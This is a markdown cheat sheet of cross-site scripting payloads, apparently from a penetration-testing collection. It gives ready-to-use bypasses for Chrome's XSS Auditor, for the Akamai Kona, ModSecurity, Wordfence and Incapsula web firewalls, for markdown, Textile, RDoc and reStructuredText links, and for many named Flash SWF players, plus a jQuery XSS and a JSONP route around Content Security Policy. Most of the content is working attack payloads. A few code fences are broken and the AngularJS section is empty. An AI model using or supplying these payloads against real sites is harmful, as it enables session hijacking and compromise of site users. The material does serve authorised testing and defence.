## XSS

**Chrome XSS-Auditor Bypass** by [@vivekchsm](https://twitter.com/vivekchsm)

```html
<svg><animate xlink:href=#x attributeName=href values=&#106;avascript:alert(1) /><a id=x><rect width=100 height=100 /></a>
```

**Chrome < v60 beta XSS-Auditor Bypass**

```html
<script src="data:,alert(1)%250A-->
```

**Other Chrome XSS-Auditor Bypasses**

```html
<script>alert(1)</script
```

```html
<script>alert(1)%0d%0a-->%09</script
```

```html
<x>%00%00%00%00%00%00%00<script>alert(1)</script>
```

```

**Kona WAF (Akamai) Bypass**

```html
\');confirm(1);//
```

**ModSecurity WAF Bypass**
Note: This kind of depends on what security level the application is set to. See: https://modsecurity.org/rules.html
```html
<img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)>
```

**Wordfence XSS Bypasses**

```html
<meter onmouseover="alert(1)"
```

```html
'">><div><meter onmouseover="alert(1)"</div>"
```

```html
>><marquee loop=1 width=0 onfinish=alert(1)>
```

**Incapsula WAF Bypasses** by [@i_bo0om](https://twitter.com/i_bo0om)

```html
<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>
```

```html
<img/src=q onerror='new Function`al\ert\`1\``'>
```

**jQuery < 3.0.0 XSS**
 by [Egor Homakov](https://github.com/jquery/jquery/issues/2432)

```js
$.get('http://sakurity.com/jqueryxss')
```

In order to really exploit this jQuery XSS you will need to fulfil one of the following requirements:

1) Find any cross domain requests to untrusted domains which may inadvertently execute script.
2) Find any requests to trusted API endpoints where script can be injected into data sources.

**URL verification bypasses (works without `&#x09;` too)**

```
javas&#x09;cript://www.google.com/%0Aalert(1)
```

**Markdown XSS**

```md
[a](javascript:confirm(1))
```

```md
[a](javascript://www.google.com%0Aprompt(1))
```

```md
[a](javascript://%0d%0aconfirm(1))
```

```md
[a](javascript://%0d%0aconfirm(1);com)
```

```md
[a](javascript:window.onerror=confirm;throw%201)
```

```md
[a]: (javascript:prompt(1))
```


**Flash SWF XSS**

- ZeroClipboard: `ZeroClipboard.swf?id=\"))}catch(e){confirm(/XSS./.source);}//&width=500&height=500&.swf`

- plUpload Player: `plupload.flash.swf?%#target%g=alert&uid%g=XSS&`

- plUpload MoxiePlayer: `Moxie.swf?target%g=confirm&uid%g=XSS` (also works with `Moxie.cdn.swf` and other variants)

- FlashMediaElement: <code>flashmediaelement.swf?jsinitfunctio%gn=alert`1`</code>

- videoJS: `video-js.swf?readyFunction=confirm` and `video-js.swf?readyFunction=alert%28document.domain%2b'%20XSS'%29`

- YUI "io.swf": `io.swf?yid=\"));}catch(e){alert(document.domain);}//`

- YUI "uploader.swf": `uploader.swf?allowedDomain=\%22}%29%29%29}catch%28e%29{alert%28document.domain%29;}//<`

- Open Flash Chart: `open-flash-chart.swf?get-data=(function(){alert(1)})()`

- AutoDemo: `control.swf?onend=javascript:alert(1)//`

- Adobe FLV Progressive: `/main.swf?baseurl=asfunction:getURL,javascript:alert(1)//` and `/FLVPlayer_Progressive.swf?skinName=asfunction:getURL,javascript:alert(1)//`

- Banner.swf (generic): `banner.swf?clickTAG=javascript:alert(document.domain);//`

- JWPlayer (legacy): `player.swf?playerready=alert(document.domain)` and `/player.swf?tracecall=alert(document.domain)`

- SWFUpload 2.2.0.1: `swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!confirm(1);//`

- Uploadify (legacy): `uploadify.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;confirm(%27XSS%27)}}//&.swf`

- FlowPlayer 3.2.7: `flowplayer-3.2.7.swf?config={"clip":{"url":"http://edge.flowplayer.org/bauhaus.mp4","linkUrl":"JavaScriPt:confirm(document.domain)"}}&.swf`

**Lightweight Markup Languages**

**RubyDoc** (.rdoc)

```rdoc
XSS[JavaScript:alert(1)]
```

**Textile** ([.textile](https://txstyle.org/))

```textile
"Test link":javascript:alert(1)
```

**reStructuredText** ([.rst](http://docutils.sourceforge.net/docs/user/rst/quickref.html))

```rst
`Test link`__.

__ javascript:alert(document.domain)  
```

**Unicode characters**

```html
†‡•＜img src=a onerror=javascript:alert('test')>…‰€
```

**AngularJS Template Injection based XSS**

*For manual verification on a live target, use `angular.version` in your browser console*

```

**Content Security Policy (CSP) bypass via JSONP endpoints**

Grab the target's CSP:

```
curl -I http://example.com | grep 'Content-Security-Policy'
```

Either paste the CSP into https://csp-evaluator.withgoogle.com/ or just submit the target's address into the "Content Security Policy" field. The CSP Evaluator will notify you if one of the whitelisted domains has JSONP endpoints.

Now we can use a Google dork to find some JSONP endpoints on the domains listed above.

```
site:example.com inurl:callback
```
